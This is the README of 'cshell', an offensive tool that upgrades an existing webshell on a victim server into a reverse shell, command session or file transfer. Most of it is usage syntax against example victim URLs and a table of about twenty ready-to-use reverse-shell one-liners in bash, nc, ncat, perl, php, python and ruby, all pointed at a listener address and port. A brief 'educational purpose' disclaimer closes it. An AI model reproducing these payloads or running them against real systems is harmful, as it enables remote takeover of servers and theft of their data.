This script takes a working webshell as an argument and can perform the following operations
- rev : This module sends a payload according to your choice and triggers that payload on the target webshell
- web : This module can execute direct command on the webshell using persisted working directory and error message
- lstnr : This module generates a payload and copies it to the clipboard. It can also start a listener, and also encodes the payload [Both are Optional]
- From PIP library :
pip3 install cshell - From Github :
git clone https://github.com/0z09e/cshell.git cd cshell sudo python3 setup.py install
- Help Menu :
$ cshell --help
usage: cshell.py [-h] [--payloads] {rev,web,lstnr} ...
positional arguments:
{rev,web,lstnr}
optional arguments:
-h, --help show this help message and exit
--payloads List all payload formats for rev
web Direct command execution on the webshell with error message
rev Reverse shell from a working webshell
lstnr Generate payload, copy it to your clipboard and start a listener[Optional]
- Getting a reverse shell from a webshell :
- GET Method :
cshell rev -i <Interface or IP. Example : 127.0.0.1 or lo> <Target URL with REV as command. Example : http://victim.com/webshell.php?cmd=REV> - POST Method :
cshell rev -i <Interface or IP. Example : 127.0.0.1 or lo> -m POST -d <Post DATA in JSON format with REV as command. Example : '{"cmd" : "REV"}'> <Target URL. Example : http://victim.com/webshell.php>
- GET Method :
- Interacting with a webshell :
- GET Method :
cshell web <Target URL with WEB as command. Example : http://victim.com/webshell.php?cmd=WEB> - Post Method :
cshell rev -m POST -d <Post DATA in JSON format with WEB as command. Example : '{"cmd" : "WEB"}'> <Target URL. Example : http://victim.com/webshell.php>
- GET Method :
- Generating a payload :
cshell lstnr -f <Format. Example : bash> -i <Interface or IP. Example : 127.0.0.1 or lo> -p <Port. Example : 1337>
help- Help menu of custom commandsclear- Clear the screenexit- Exit the shellupload- Upload a file into the remote serverdownload- Download a file from the remote server
$ cshell --payloads
========================================================================================================
Format-Name Payload
========================================================================================================
bash-196 0<&196;exec 196<>/dev/tcp/127.0.0.1/1337; bash <&196 >&196 2>&196
bash bash -i >& /dev/tcp/127.0.0.1/1337 0>&1
bash-read-line exec 5<>/dev/tcp/127.0.0.1/1337;cat <&5 | while read line; do $line 2>&5 >&5; done
bash-5 bash -i 5<> /dev/tcp/127.0.0.1/1337 0<&5 1>&5 2>&5
bash-udp bash -i >& /dev/udp/127.0.0.1/1337 0>&1
nc-mkfifo rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 127.0.0.1 1337 >/tmp/f
nc nc -e /bin/bash 127.0.0.1 1337
nc-c nc -c /bin/bash 127.0.0.1 1337
ncat-e ncat 127.0.0.1 1337 -e /bin/bash
perl perl -e 'use Socket;$i="127.0.0.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'
php-exec php -r '$sock=fsockopen("127.0.0.1",1337);exec("bash <&3 >&3 2>&3");'
php-shell-exec php -r '$sock=fsockopen("127.0.0.1",1337);shell_exec("bash <&3 >&3 2>&3");'
php-system php -r '$sock=fsockopen("127.0.0.1",1337);system("bash <&3 >&3 2>&3");'
php-passthru php -r '$sock=fsockopen("127.0.0.1",1337);passthru("bash <&3 >&3 2>&3");'
php-popen php -r '$sock=fsockopen("127.0.0.1",1337);popen("bash <&3 >&3 2>&3", "r");'
python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
python-export export RHOST="127.0.0.1";export RPORT=1337;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
python3 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
python3-export export RHOST="127.0.0.1";export RPORT=1337;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")
ruby export RHOST=127.0.0.1;export RPORT=1337;ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
- Only for educational purpose, The creator of this tool won't be responsible to anything.
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